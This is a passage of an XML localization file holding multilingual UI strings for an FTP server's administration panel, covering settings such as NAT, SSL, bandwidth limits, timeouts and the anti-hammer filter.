<ja>このサーバーが NAT ルーターを通じてインターネットに接続している場合は、上記の情報をお知らせいただく必要があります。これは、クライアントが受信データ転送を初期化できるようにする場合に必要です。</ja>
<zh>如果此服务器通过 NAT 路由器连接至 Internet,
则您应该提供上述信息。如果您希望客户端能够启动无源数据传输,就必须这样做。</zh>
<ko>이 서버가 NAT 라우터를 통해 인터넷에 연결하는 경우 위의 정보를 제공해야 합니다. 클라이언트가 수동 데이터 전송을 시작하려면 이 정보가 필요합니다.</ko>
<en-gb>If this server connects to the internet through a NAT router, you should supply the above information. This is required if you want clients to be able to initiate passive data transfers.</en-gb>
<hu>Ha ez a kiszolgáló NAT útválasztón keresztül kapcsolódik az Internethez, akkor
meg kell adnia a fenti információkat. Ez akkor szükséges, ha azt szeretné, hogy a kliensek
képesek legyenek passzív adatátvitelt kezdeményezni.</hu>
<pt-br>Se este servidor se conectar à Internet pelo roteador NAT, você 
deverá apresentar as informações acima. Isso é obrigatório se você desejar que clientes
possam iniciar transferências de dados passivas.</pt-br>
<nl>Als deze server via een NAT-router een verbinding maakt met internet, moet u de bovenstaande gegevens invullen. Dit is vereist als u wilt dat clients gebruik kunnen maken van passieve verbindingen voor de gegevensoverdracht.</nl>
</msg>
<msg name="SERVERODBC">
<en>ODBC</en>
<de>ODBC</de>
<es>ODBC</es>
<fr>ODBC</fr>
<it>ODBC</it>
<ru>ODBC</ru>
<ja>ODBC</ja>
<zh>ODBC</zh>
<ko>ODBC</ko>
<en-gb>ODBC</en-gb>
<hu>ODBC</hu>
<pt-br>ODBC</pt-br>
<nl>ODBC</nl>
</msg>
<msg name="SERVERIMPLICITSSL">
<en>Use implicit SSL encryption</en>
<de>Implizite SSL Verschlüsselung verwenden</de>
<es>Utilizar cifrado SSL implícito</es>
<fr>Employez le chiffrage implicite de SSL</fr>
<it>Usa crittografia SSL implicita</it>
<ru>Использовать явное SSL-шифрование</ru>
<ja>Implicit SSL 暗号化を使用</ja>
<zh>使用隐式 SSL 加密</zh>
<ko>암시적 SSL 암호화 사용</ko>
<en-gb>Use implicit SSL encryption</en-gb>
<hu>Implicit SSL titkosítás használata</hu>
<pt-br>Usar criptografia de SSL implícita</pt-br>
<nl>Impliciete SSL-codering gebruiken</nl>
</msg>
<msg name="SERVERUP">
<en>"%FTPSERVER.NAME" is working. Click to shut down.</en>
<de>"%FTPSERVER.NAME" ist in Betrieb. Klicken Sie zum Abschalten.</de>
<es>"%FTPSERVER.NAME" está en funcionamiento. Haga clic para cerrarlo.</es>
<fr>"%FTPSERVER.NAME" fonctionne. Cliquez pour arrêter.</fr>
<it>"%FTPSERVER.NAME" in funzione. Fare clic per arrestare.</it>
<ru>Сервер "%FTPSERVER.NAME" функционирует. Щелкните здесь, чтобы выключить.</ru>
<ja>"%FTPSERVER.NAME" の動作中です。シャット ダウンするにはクリックします。</ja>
<zh>“%FTPSERVER.NAME”正在运行。单击以关闭。</zh>
<ko>"%FTPSERVER.NAME"이(가) 작동 중입니다. 종료하려면 클릭하십시오.</ko>
<en-gb>"%FTPSERVER.NAME" is working. Click to shut down.</en-gb>
<hu>A(z) "%FTPSERVER.NAME" működik. Kattintson ide leállításhoz.</hu>
<pt-br>"%FTPSERVER.NAME" está em operação. Clique para desligá-lo.</pt-br>
<nl>"%FTPSERVER.NAME" is ingeschakeld. Klik hier om deze uit te schakelen.</nl>
</msg>
<msg name="SERVERDOWN">
<en>"%FTPSERVER.NAME" has been shut down. Click to start.</en>
<de>"%FTPSERVER.NAME" ist abgeschaltet. Klicken Sie zum Starten.</de>
<es>"%FTPSERVER.NAME" se ha cerrado. Haga clic para iniciarlo.</es>
<fr>"%FTPSERVER.NAME" a été arrêté. Cliquez pour démarrer.</fr>
<it>"%FTPSERVER.NAME" è stato arrestato. Fare clic per avviare.</it>
<ru>Сервер "%FTPSERVER.NAME" выключен. Щелкните здесь, чтобы запустить.</ru>
<ja>"%FTPSERVER.NAME" はシャット ダウンしました。開始する場合は、クリックしてください。</ja>
<zh>“%FTPSERVER.NAME”已经关闭。单击以启动。</zh>
<ko>"%FTPSERVER.NAME"이(가) 종료되었습니다. 시작하려면 클릭하십시오.</ko>
<en-gb>"%FTPSERVER.NAME" has been shut down. Click to start.</en-gb>
<hu>A(z) "%FTPSERVER.NAME" le van állítva. Kattintson ide az indításhoz.</hu>
<pt-br>"%FTPSERVER.NAME" foi desligado. Clique para iniciá-lo.</pt-br>
<nl>"%FTPSERVER.NAME" is uitgeschakeld. Klik hier om deze te starten.</nl>
</msg>
<msg name="CSERVERDEL">
<en>Delete FTP server [%FTPSERVER.NAME] ?</en>
<de>Soll der FTP Server [%FTPSERVER.NAME] entfernt werden?</de>
<es>¿Eliminar el servidor FTP [%FTPSERVER.NAME]?</es>
<fr>Supprimer le serveur FTP [ %FTPSERVER.NAME ] ?</fr>
<it>Eliminare il server FTP [%FTPSERVER.NAME]?</it>
<ru>Удалить FTP-сервер [%FTPSERVER.NAME]?</ru>
<ja>FTP サーバー [%FTPSERVER.NAME] を削除しますか?</ja>
<zh>是否删除 FTP 服务器 [%FTPSERVER.NAME]?</zh>
<ko>FTP 서버 [%FTPSERVER.NAME] 삭제?</ko>
<en-gb>Delete FTP server [%FTPSERVER.NAME] ?</en-gb>
<hu>Törli az FTP kiszolgálót [%FTPSERVER.NAME] ?</hu>
<pt-br>Excluir servidor de FTP [%FTPSERVER.NAME] ?</pt-br>
<nl>FTP-server verwijderen [%FTPSERVER.NAME] ?</nl>
</msg>
<msg name="ADDSERVER">
<en>New FTP server</en>
<de>Neuer FTP Server</de>
<es>Nuevo Servidor FTP</es>
<fr>Nouveau serveur FTP</fr>
<it>Nuovo server FTP</it>
<ru>Создать FTP-сервер</ru>
<ja>新しい FTP サーバー</ja>
<zh>新建 FTP 服务器</zh>
<ko>새 FTP 서버</ko>
<en-gb>New FTP server</en-gb>
<hu>Új FTP kiszolgáló</hu>
<pt-br>Novo servidor de FTP</pt-br>
<nl>Nieuwe FTP-server</nl>
</msg>
<msg name="CFGSERVER">
<en>Settings for FTP server "%FTPSNAME"</en>
<de>Einstellungen für den FTP Server "%FTPSNAME"</de>
<es>Configuración del servidor FTP "%FTPSNAME"</es>
<fr>Paramètres du serveur FTP  "%FTPSNAME"</fr>
<it>Impostazioni per il server FTP "%FTPSNAME"</it>
<ru>Настройки FTP-сервера "%FTPSNAME"</ru>
<ja>FTP サーバー "%FTPSNAME" の設定</ja>
<zh>FTP 服务器“%FTPSNAME”的设置</zh>
<ko>FTP 서버 "%FTPSNAME"의 설정</ko>
<en-gb>Settings for FTP server "%FTPSNAME"</en-gb>
<hu>FTP kiszolgáló beállításai "%FTPSNAME"</hu>
<pt-br>Configurações do servidor de FTP "%FTPSNAME"</pt-br>
<nl>Instellingen voor FTP-server "%FTPSNAME"</nl>
</msg>
<msg name="IPADDR">
<en>TCP/IP address to listen on</en>
<de>Verwendete IP-Adresse</de>
<es>Dirección para escucha</es>
<fr>Adresse TCP/IP</fr>
<it>Indirizzo TCP/IP di attesa</it>
<ru>TCP/IP-адрес для прослушивания</ru>
<ja>リスンする TCP/IP アドレス</ja>
<zh>要侦听的 TCP/IP 地址</zh>
<ko>수신 TCP/IP 주소</ko>
<en-gb>TCP/IP address to listen on</en-gb>
<hu>Figyelt TCP/IP cím</hu>
<pt-br>Endereço TCP/IP para ouvir</pt-br>
<nl>TCP/IP-adres controleren</nl>
</msg>
<msg name="PORT">
<en>TCP/IP port to listen on</en>
<de>Verwendeter TCP Port</de>
<es>Puerto TCP/IP para escucha</es>
<fr>Port TCP/IP</fr>
<it>Porta TCP/IP di attesa</it>
<ru>TCP/IP-порт для прослушивания</ru>
<ja>リスンする TCP/IP ポート</ja>
<zh>要侦听的 TCP/IP 端口</zh>
<ko>수신 TCP/IP 포트</ko>
<en-gb>TCP/IP port to listen on</en-gb>
<hu>Figyelt TCP/IP port</hu>
<pt-br>Porta TCP/IP para ouvir</pt-br>
<nl>TCP/IP-poort controleren</nl>
</msg>
<msg name="UP">
<en>The server is enabled</en>
<de>Der Server ist aktiv</de>
<es>El servidor está habilitado</es>
<fr>Le serveur est activé</fr>
<it>Il server è attivato</it>
<ru>Данный сервер включен</ru>
<ja>サーバーは有効です</ja>
<zh>服务器已启用</zh>
<ko>서버가 사용 가능합니다.</ko>
<en-gb>The server is enabled</en-gb>
<hu>A kiszolgáló be van kapcsolva</hu>
<pt-br>O servidor foi habilitado</pt-br>
<nl>De server is ingeschakeld</nl>
</msg>
<msg name="ROOT">
<en>Root directory</en>
<de>Wurzelverzeichnis</de>
<es>Directorio raíz</es>
<fr>Root directory</fr>
<it>Directory principale</it>
<ru>Корневой каталог</ru>
<ja>ルート ディレクトリ</ja>
<zh>根目录</zh>
<ko>루트 디렉터리</ko>
<en-gb>Root directory</en-gb>
<hu>Gyökérkönyvtár</hu>
<pt-br>Diretório raiz</pt-br>
<nl>Hoofdmap</nl>
</msg>
<msg name="ROOTNOTE">
<en>If you leave the root field empty, the users will acces the drive list as their root.</en>
<de>Wenn Sie das Feld für das Wurzelverzeichnis freilassen, werden die Benutzer auf die
Laufwerksliste als Wurzelverzeichnis zugreifen.</de>
<es>Si deja vacío el campo raíz, los usuarios accederán a la lista de unidades como su raíz.</es>
<fr>Si vous laissez le champ racine vide, les utilisateurs accéderont aux lecteurs de leur propre racine.</fr>
<it>Se si lascia vuoto il campo della directory principale, gli utenti avranno accesso all'elenco delle unità come directory principale.</it>
<ru>Если поле корневого каталога оставить пустым, пользователи будут иметь доступ к списку дисков как к корневому каталогу.</ru>
<ja>ルート フィールドを空欄のままにした場合、ユーザは自分のルートとしてドライブ リストにアクセスできるようになります。</ja>
<zh>如果您保留“根目录”字段为空,则用户会将驱动器列表作为其根目录来访问。</zh>
<ko>루트 필드를 비워 두면 사용자는 드라이브 목록을 루트로 액세스합니다.</ko>
<en-gb>If you leave the root field empty, the users will acces the drive list as their root.</en-gb>
<hu>Ha a gyökérkönyvtár mezőt üresen hagyja, a felhasználók a meghajtólistát fogják elérni gyökérkönyvtárként.</hu>
<pt-br>Se você tiver deixado o campo raiz vazio, os usuários acessarão a lista de unidades como sua raiz.</pt-br>
<nl>Als u in het veld voor de hoofdmap niets invult, krijgen gebruikers toegang tot de lijst met stations als hun hoofdmap.</nl>
</msg>
<msg name="RESOLVELINKS">
<en>Resolve shell links</en>
<de>Shell-Links folgen</de>
<es>Resolver vínculos de shell</es>
<fr>Résoudre shell links</fr>
<it>Risolvi collegamenti shell</it>
<ru>Разрешить ссылки оболочки</ru>
<ja>シェル リンクを解決</ja>
<zh>解析 shell 链接</zh>
<ko>셸 링크 확인</ko>
<en-gb>Resolve shell links</en-gb>
<hu>Héjprogram-hivatkozások feloldása</hu>
<pt-br>Resolver links do shell</pt-br>
<nl>Shell-links omzetten</nl>
</msg>
<msg name="BLDOWN">
<en>Download bandwidth limit</en>
<de>Download-Bandbreitenbegrenzung</de>
<es>Límite del ancho de banda de descarga</es>
<fr>Limite de bande passante en Download</fr>
<it>Larghezza di banda massima per il download</it>
<ru>Ограничение пропускной способности загрузки</ru>
<ja>ダウンロード帯域幅の制限</ja>
<zh>下载带宽限制</zh>
<ko>다운로드 대역폭 제한</ko>
<en-gb>Download bandwidth limit</en-gb>
<hu>Letöltési sávszélesség-korlát</hu>
<pt-br>Limite de largura de banda para download</pt-br>
<nl>Bandbreedtelimiet voor downloaden</nl>
</msg>
<msg name="BLUP">
<en>Upload bandwidth limit</en>
<de>Upload-Bandbreitenbegrenzung</de>
<es>Límite del ancho de banda de subida</es>
<fr>Limite de bande passante en Upload</fr>
<it>Larghezza di banda massima per l'upload</it>
<ru>Ограничение пропускной способности отгрузки</ru>
<ja>アップロード帯域幅の制限</ja>
<zh>上载带宽限制</zh>
<ko>업로드 대역폭 제한</ko>
<en-gb>Upload bandwidth limit</en-gb>
<hu>Feltöltési sávszélesség-korlát</hu>
<pt-br>Limite da largura de banda para upload</pt-br>
<nl>Bandbreedtelimiet voor uploaden</nl>
</msg>
<msg name="KBPS">
<en>(kbits/sec)</en>
<de>(kbits/sec)</de>
<es>(kbits/seg.)</es>
<fr>(kbits/sec)</fr>
<it>(KB/sec)</it>
<ru>(кбит/с)</ru>
<ja>(kbits / 秒)</ja>
<zh>(Kb/s)</zh>
<ko>(kbits/sec)</ko>
<en-gb>(kbits/sec)</en-gb>
<hu>(kbit/mp)</hu>
<pt-br>(kbits/seg)</pt-br>
<nl>(Kbits/sec)</nl>
</msg>
<msg name="BLNOTE">
<en>If you enter '0' for the bandwidth limits, the option will be disabled.</en>
<de>Wenn Sie als Bandbreitenbegrenzung "0" eintragen, so ist die Option deaktiviert.</de>
<es>Si escribe "0" en los límites de ancho de banda, la opción quedará deshabilitada.</es>
<fr>Si vous entrez '0' en limite de bande passante, l'option sera désactivée.</fr>
<it>Se si immette '0' come larghezza di banda massima, l'opzione verrà disattivata.</it>
<ru>Если в качестве пределов пропускной способности указать "0", то данная возможно будет отключена.</ru>
<ja>帯域幅の制限に「0」を入力した場合、このオプションは無効になります。</ja>
<zh>如果您为带宽限制输入“0”,该选项将被禁用。</zh>
<ko>대역폭 제한으로 '0'을 입력하면 이 옵션을 사용할 수 없습니다.</ko>
<en-gb>If you enter '0' for the bandwidth limits, the option will be disabled.</en-gb>
<hu>Ha '0'-át ad meg sávszélesség-korlátként, akkor ez a beállítás kikapcsolódik.</hu>
<pt-br>Se você digitar '0' para os limites da largura de banda, a opção será desabilitada.</pt-br>
<nl>Als u voor de bandbreedtelimieten de waarde '0' opgeeft, wordt deze optie uitgeschakeld.</nl>
</msg>
<msg name="NEWSERV.NOTE">
<en>Press Apply to add new server and access advanced configuration settings.</en>
<de>Drücken Sie "Übernehmen", um einen neuen Server hinzu zu fügen. Erweiterte
Konfigurationsmöglichkeiten werden dann angezeigt.</de>
<es>Pulse Aplicar para agregar un nuevo servidor y acceder a la configuración avanzada.</es>
<fr>Pressez sur Appliquer pour ajouter un nouveau serveur  et accéder aux paramètres de configuration avancés.</fr>
<it>Scegliere Applica per aggiungere un nuovo server e accedere alle impostazioni di configurazione avanzate.</it>
<ru>Нажмите "Применить", чтобы добавить новый сервер и получить доступ к дополнительным параметрам настройки.</ru>
<ja>[適用] をクリックして新しいサーバーを追加し、詳細設定にアクセスしてください。</ja>
<zh>按“应用”可添加新服务器和访问高级配置设置。</zh>
<ko>"적용"을 눌러 새 서버를 추가하고 고급 구성 설정에 액세스하십시오.</ko>
<en-gb>Press Apply to add new server and access advanced configuration settings.</en-gb>
<hu>Kattintson az Alkalmaz gombra, hogy új kiszolgálót adjon hozzá, és elérje a speciális konfigurációs beállításokat.</hu>
<pt-br>Pressione Aplicar para adicionar configurações avançadas de acesso e do novo servidor.</pt-br>
<nl>Klik op Toepassen om de nieuwe server toe te voegen en de geavanceerde configuratie-instellingen weer te geven.</nl>
</msg>
<msg name="NEWUSER.NOTE">
<en>Press Apply to add new user and access advanced configuration settings.</en>
<de>Drücken Sie "Übernehmen", um einen neuen Benutzer anzulegen und zu den erweiterten
Einstellungen zu gelangen</de>
<es>Pulse Aplicar para agregar un nuevo usuario y acceder a la configuración avanzada.</es>
<fr>Pressez Appliquer pour ajouter un nouvel utilisateur et accéder aux paramètres de configuration avancés.</fr>
<it>Scegliere Applica per aggiungere un nuovo utente e accedere alle impostazioni di configurazione avanzate.</it>
<ru>Нажмите "Применить", чтобы добавить нового пользователя и получить доступ к дополнительным параметрам настройки.</ru>
<ja>[適用] をクリックして、新しいユーザを追加し、詳細設定にアクセスしてください。</ja>
<zh>按“应用”可添加新用户和访问高级配置设置。</zh>
<ko>"적용"을 눌러 새 사용자를 추가하고 고급 구성 설정에 액세스하십시오.</ko>
<en-gb>Press Apply to add new user and access advanced configuration settings.</en-gb>
<hu>Kattintson az Alkalmaz gombra, hogy új felhasználót adjon hozzá, és elérje a speciális konfigurációs beállításokat.</hu>
<pt-br>Pressione Aplicar para adicionar configurações avançadas de acesso e do novo usuário.</pt-br>
<nl>Klik op Toepassen om de nieuwe gebruiker toe te voegen en de geavanceerde configuratie-instellingen weer te geven.</nl>
</msg>
<msg name="NEWGROUP.NOTE">
<en>Press Apply to add new group and access advanced configuration settings.</en>
<de>Drücken Sie "Übernehmen", um eine neue Gruppe hinzuzufügen und zu den erweiterten
Einstellungen zu gelangen.</de>
<es>Pulse Aplicar para agregar un nuevo grupo y acceder a la configuración avanzada.</es>
<fr>Pressez Appliquer pour ajouter un nouveau groupe et accéder aux paramètres de configurations avancés</fr>
<it>Scegliere Applica per aggiungere un nuovo gruppo e accedere alle impostazioni di configurazione avanzate.</it>
<ru>Нажмите "Применить", чтобы добавить новую группу и получить доступ к дополнительным параметрам настройки.</ru>
<ja>[適用] をクリックして、新しいグループを追加し、詳細設定にアクセスしてください。</ja>
<zh>按“应用”可添加新组和访问高级配置设置。</zh>
<ko>"적용"을 눌러 새 그룹을 추가하고 고급 구성 설정에 액세스하십시오.</ko>
<en-gb>Press Apply to add new group and access advanced configuration settings.</en-gb>
<hu>Kattintson az Alkalmaz gombra, hogy új csoportot adjon hozzá, és elérje a speciális konfigurációs beállításokat.</hu>
<pt-br>Pressione Aplicar para adicionar configurações avançadas de acesso e do novo grupo.</pt-br>
<nl>Klik op Toepassen om de nieuwe groep toe te voegen en de geavanceerde configuratie-instellingen weer te geven.</nl>
</msg>
<msg name="MAXCONN">
<en>Maximum number of simultaneous connections</en>
<de>Maximale Anzahl gleichzeitiger Verbindungen</de>
<es>Número máximo de conexiones simultáneas</es>
<fr>Nombre maximum des connexions simultanées</fr>
<it>Numero massimo di connessioni simultanee</it>
<ru>Максимальное число одновременных подключений</ru>
<ja>同時接続の最大数</ja>
<zh>并行连接的最大数目</zh>
<ko>최대 동시 연결 수</ko>
<en-gb>Maximum number of simultaneous connections</en-gb>
<hu>Egyidejű kapcsolatok maximális száma</hu>
<pt-br>Número máximo de conexões simultâneas</pt-br>
<nl>Maximumaantal gelijktijdige verbindingen</nl>
</msg>
<msg name="MAXLOGIN">
<en>Maximum number of failed login attempts</en>
<de>Maximale Anzahl fehlerhafter Anmeldeversuche</de>
<es>Número máximo de intentos fallidos de inicio de sesión</es>
<fr>Nombre maximum de tentatives infructueuses de login</fr>
<it>Numero massimo di tentativi di accesso non riusciti</it>
<ru>Максимальное число неудачных попыток входа</ru>
<ja>ログイン失敗回数の最大数</ja>
<zh>登录尝试失败的最大次数</zh>
<ko>실패한 최대 로그인 시도 횟수</ko>
<en-gb>Maximum number of failed login attempts</en-gb>
<hu>Sikertelen bejelentkezési kísérletek maximális száma</hu>
<pt-br>Número máximo de falhas de tentativas de login</pt-br>
<nl>Maximumaantal mislukte aanmeldingspogingen</nl>
</msg>
<msg name="LOGINTIMEO">
<en>Login timeout</en>
<de>Anmelde-Timeout</de>
<es>Límite de tiempo para inicio de sesión</es>
<fr>Délai de Login dépassé</fr>
<it>Timeout di accesso</it>
<ru>Таймаут входа</ru>
<ja>ログイン タイムアウト</ja>
<zh>登录超时</zh>
<ko>로그인 시간 초과</ko>
<en-gb>Login timeout</en-gb>
<hu>Bejelentkezés időtúllépése</hu>
<pt-br>Tempo limite de login</pt-br>
<nl>Time-out voor aanmelden</nl>
</msg>
<msg name="NOTRTIMEO">
<en>No transfer timeout</en>
<de>Timeout, wenn kein Transfer</de>
<es>No hay límite de tiempo de transferencia</es>
<fr>Délai dépassé, pas de transfert</fr>
<it>Nessun timeout di trasferimento</it>
<ru>Таймаут передачи не задан</ru>
<ja>無通信タイムアウト</ja>
<zh>无传输超时</zh>
<ko>전송 시간 초과 없음</ko>
<en-gb>No transfer timeout</en-gb>
<hu>Nincs átvitel időtúllépése</hu>
<pt-br>Sem tempo limite de transferência</pt-br>
<nl>Geen time-out voor overdracht</nl>
</msg>
<msg name="STALLTIMEO">
<en>Stalled transfer timeout</en>
<de>Timeout bei unterbrochener Verbindung</de>
<es>Límite de tiempo de transferencia paralizada</es>
<fr>Délai dépassé, transfert interrompu</fr>
<it>Timeout di trasferimento interrotto</it>
<ru>Таймаут задержанной передачи</ru>
<ja>停滞中の転送のタイムアウト</ja>
<zh>拖延的传输超时</zh>
<ko>전송 중지 시간 초과</ko>
<en-gb>Stalled transfer timeout</en-gb>
<hu>Leállt átvitel időtúllépése</hu>
<pt-br>Tempo limite de transferência paralisado</pt-br>
<nl>Time-out voor vastgelopen overdracht</nl>
</msg>
<msg name="KEEPALIVES">
<en>Allow keep-alives</en>
<de>"Keep-Alive" zulassen</de>
<es>Permitir keep-alives</es>
<fr>Autorise keep-alives</fr>
<it>Consenti keep-alive</it>
<ru>Разрешить поддержку открытых соединений</ru>
<ja>キープ アライブを許可</ja>
<zh>允许保持活动</zh>
<ko>keep-alive 허용</ko>
<en-gb>Allow keep-alives</en-gb>
<hu>Kapcsolat-fenntartók engedélyezése</hu>
<pt-br>Permitir keep-alives</pt-br>
<nl>Keep-alives toestaan</nl>
</msg>
<msg name="KEEPALIVES.NOTE">
<en>(If enabled, all FTP commands restart timeout counters.)</en>
<de>(wenn aktiviert, wird der Timeout bei jedem FTP-Kommando zurückgesetzt)</de>
<es>(Si está habilitado, todos los comandos FTP reinician los contadores de tiempo límite.)</es>
<fr>(si activé, tous les compteurs de délais des commandes FTP sont réinitialisés)</fr>
<it>(Se attivato, tutti i comandi FTP riavviano i contatori di timeout).</it>
<ru>(Если эта возможность включена, то любые команды FTP вызывают сброс счетчиков таймаутов.)</ru>
<ja>(有効の場合、すべての FTP コマンドはタイムアウト カウントを再起動します。)</ja>
<zh>(如果启用,所有 FTP 命令将重新启动超时计数器。)</zh>
<ko>(이 옵션을 선택하면 모든 FTP 명령은 시간 초과 카운터를 다시 시작합니다.)</ko>
<en-gb>(If enabled, all FTP commands restart timeout counters.)</en-gb>
<hu>(Ha be van kapcsolva, minden FTP parancs újraindítja az időtúllépés-számlálókat.)</hu>
<pt-br>(Se habilitados, todos os comandos de FTP reiniciarão os contadores de tempo limite.)</pt-br>
<nl>(Als deze optie is ingeschakeld, worden met elke FTP-instructie de tellers voor time-outs opnieuw ingesteld op nul.)</nl>
</msg>
<msg name="PRIORITY">
<en>Thread priority</en>
<de>Thread-Priorität</de>
<es>Prioridad de thread</es>
<fr>Priorité des Thread</fr>
<it>Priorità thread</it>
<ru>Приоритет потока</ru>
<ja>スレッドの優先順位</ja>
<zh>线程优先级</zh>
<ko>스레드 우선 순위</ko>
<en-gb>Thread priority</en-gb>
<hu>Szál prioritása</hu>
<pt-br>Prioridade do segmento</pt-br>
<nl>Threadprioriteit</nl>
</msg>
<msg name="UNSECURED">
<en>Allow unsecured FTP connections</en>
<de>Unsichere FTP-Verbindungen zulassen</de>
<es>Permitir conexiones FTP no seguras</es>
<fr>Autorise les connexions FTP non sécurisées</fr>
<it>Consenti connessioni FTP non protette</it>
<ru>Разрешить небезопасные FTP-подключения</ru>
<ja>安全でない FTP 接続を許可</ja>
<zh>允许非安全的 FTP 连接</zh>
<ko>보안되지 않는 FTP 연결 허용</ko>
<en-gb>Allow unsecured FTP connections</en-gb>
<hu>Nem biztonságos FTP kapcsolatok engedélyezése</hu>
<pt-br>Permitir conexões de FTP não seguras</pt-br>
<nl>Onbeveiligde FTP-verbindingen toestaan</nl>
</msg>
<msg name="FXP">
<en>Allow data connections to go to different IPs than that of the control
connection (enable FXP, basically)</en>
<de>Datenverbindungen, die zu anderen IPs bestehen, als die der
Kontrollverbindung, zulassen (enable FXP, basically)</de>
<es>Permitir que las conexiones de datos vayan a IPs distintas a la conexión
de control (habilitar FXP, forma básica)</es>
<fr>Autorise la connexion des données d'aller à un IP différent que celle
de la connexion de contrôle (activé FXP)</fr>
<it>Consenti alle connessioni dati di passare a IP diversi da quelli della connessione di controllo (attiva FXP)</it>
<ru>Разрешить подключения данных, чтобы перейти к другим IP-адресам, отличным от управляющего подключения (включить FXP в базовом режиме)</ru>
<ja>制御接続の IP とは異なる IP へのデータ接続を許可する (基本的に FXP を有効にする)</ja>
<zh>允许数据连接转到除控制连接 IP 以外的其他 IP(主要启用 FXP)</zh>
<ko>제어 연결의 IP가 아닌 다른 IP로 데이터 연결 이동 허용(기본적으로 FXP 사용)</ko>
<en-gb>Allow data connections to go to different IPs than that of the control connection (enable FXP, basically)</en-gb>
<hu>Adatkapcsolatok a vezérlő kapcsolattól különböző IP címekre való engedélyezése
(alapvetően az FXP engedélyezése)</hu>
<pt-br>Permitir conexões de dados para ir a diferentes IPs dos da conexão
de controle (habilitar FXP, basicamente)</pt-br>
<nl>Gegevensverbindingen naar andere IP-adressen dan de besturingsverbinding toestaan (in feite FXP inschakelen)</nl>
</msg>
<msg name="PWQUOTED">
<en>Quoted password changes</en>
<de>Einstellung der Zeichen, die das Kennwort begrenzen</de>
<es>Cambio de contraseña entrecomillada</es>
<fr>Mot de passe avec des guillemets changé</fr>
<it>Modifica password tra virgolette</it>
<ru>Заключенные в кавычки изменения пароля</ru>
<ja>引用パスワードの変更</ja>
<zh>带引号密码的更改</zh>
<ko>인용 부호로 표시된 암호 변경 사항</ko>
<en-gb>Quoted password changes</en-gb>
<hu>Idézőjeles jelszóváltoztatások</hu>
<pt-br>Alterações de cota de senha</pt-br>
<nl>Wijzigingen in wachtwoord tussen aanhalingstekens</nl>
</msg>
<msg name="PWQUOTED.NOTE">
<en>Determines if the parameters of the SITE PSWD command are in quotes or
delimited simply by a space. (SITE PSWD oldpw newpw vs. SITE PSWD "oldpw" "newpw",
whether passwords can contain quotes or spaces, basically.)</en>
<de>Bestimmt, ob die Parameter des PSWD-Kommandos der FTP-Site durch
Hochkomma oder Leerzeichen begrenzt werden. Kommando: (SITE PSWD Passwort_alt
Passwort_neu) oder (SITE PSWD "passwort_alt" "Passwort_neu")!</de>
<es>Determina si los parámetros del comando SITE PSWD están entre comillas o 
delimitadas sólo por espacios. (SITE PSWD oldpw newpw frente a SITE PSWD "oldpw" "newpw",
es decir, si las contraseñas contienen comillas o espacios.)</es>
<fr>Détermine si les paramètres de la commande SITE PSWD sont entre guillemets ou
délimités simplement par un espace. (SITE PSWD ancienpw nouveaupw vs. SITE PSWD "ancienpw" "nouveaupw",
au cas où les mots de passe peuvent contenir des guillemets ou des espaces)</fr>
<it>Determina se i parametri del comando SITE PSWD sono tra virgolette o solo delimitati da uno spazio (SITE PSWD vecchiapw nuovapw o SITE PSWD "vecchiapw" "nuovapw", quindi se le password possono contenere virgolette o spazi).</it>
<ru>Определяет, заключены ли параметры команды SITE PSWD в кавычки или просто отделены пробелом. (Сравнение SITE PSWD oldpw newpw с SITE PSWD "oldpw" "newpw", т.е. в основном, чтобы определить, могут ли пароли содержать кавычки или пробелы.)</ru>
<ja>SITE PSWD コマンドのパラメータを引用符で囲むか、または単にスペースで区切るかを決定します。基本的には、(SITE PSWD oldpw newpw または SITE PSWD "oldpw" "newpw"のどちらのパスワードでも引用符かスペースを使うことができます。)</ja>
<zh>确定 SITE PSWD 命令的参数是用引号括起,还是仅用空格进行分隔。(SITE PSWD oldpw newpw 对应 SITE PSWD "oldpw" "newpw",
从根本上说,密码不是带有引号就是包含空格。)</zh>
<ko>SITE PSWD 명령 매개 변수가 따옴표 안에 있거나 공백으로 구분되었는지 확인합니다. (SITE PSWD oldpw newpw vs. SITE PSWD "oldpw" "newpw", 기본적으로 암호에 따옴표 또는 공백을 사용할 수 있는지 여부.)</ko>
<en-gb>Determines if the parameters of the SITE PSWD command are in quotes or delimited simply by a space. (SITE PSWD oldpw newpw vs. SITE PSWD "oldpw" "newpw", whether passwords can contain quotes or spaces, basically.)</en-gb>
<hu>Azt határozza meg, hogy a SITE PSWD parancs paraméterei idézőjelben legyenek, vagy 
egyszerűen csak szóközzel elválasztva. (SITE PSWD oldpw newpw szemben ezzel: SITE PSWD "oldpw" "newpw",
alapvetően, hogy a jelszavak tartalmazhatnak-e idézőjelt, vagy szóközt.)</hu>
<pt-br>Determina se os parâmetros do comando SITE PSWD estão em cotas ou
simplesmente delimitados por um espaço. (SITE PSWD oldpw newpw vs. SITE PSWD "oldpw" "newpw",
se as senhas puderem conter cotas ou espaços, basicamente.)</pt-br>
<nl>Hiermee wordt aangegeven of de parameters van de SITE PSWD-instructie tussen aanhalingstekens moeten staan of gewoon met een spatie van elkaar worden gescheiden. (SITE PSWD oldpw newpw i.p.v. SITE PSWD "oldpw" "newpw", m.a.w. of wachtwoorden aanhalingstekens of spaties mogen bevatten.)</nl>
</msg>
<msg name="ANTIHAMMER">
<en>Anti-hammer filter</en>
<de>Anti-Hammer Filter</de>
<es>Filtro anti-hammer</es>
<fr>filtre d'Anti-hammer</fr>
<it>Filtro anti-hammer</it>
<ru>Фильтр Anti-hammer</ru>
<ja>Anti-hammer フィルタ</ja>
<zh>反锤式过滤器</zh>
<ko>안티해머 필터</ko>
<en-gb>Anti-hammer filter</en-gb>
<hu>"Anti-hammer" szűrő</hu>
<pt-br>Filtro anti-hammer</pt-br>
<nl>Anti-hammerfilter</nl>
</msg>
<msg name="ANTIHAMMERENABLED">
<en>Enabled</en>
<de>Aktivieren</de>
<es>Habilitado</es>
<fr>Activé</fr>
<it>Attivato</it>
<ru>Включено</ru>
<ja>有効</ja>
<zh>已启用</zh>
<ko>사용</ko>
<en-gb>Enabled</en-gb>
<hu>Bekapcsolva</hu>
<pt-br>Habilitado</pt-br>
<nl>Ingeschakeld</nl>
</msg>
<msg name="FTPNTUSER">
<en>FTP users will access the file system in the security context of the following user</en>
<de>Windows NT Konto, dessen Berechtigungen an FTP Benutzer übertragen werden</de>
<es>Los usuarios FTP accederán al sistema de archivos en el contexto de seguridad del siguiente usuario</es>
<fr>Les utilisateurs FTP accèderont au fichier système dans le contexte de sécurité de l'utilisateur suivant</fr>
<it>Gli utenti FTP avranno accesso al file system nel contesto di protezione dell'utente seguente</it>
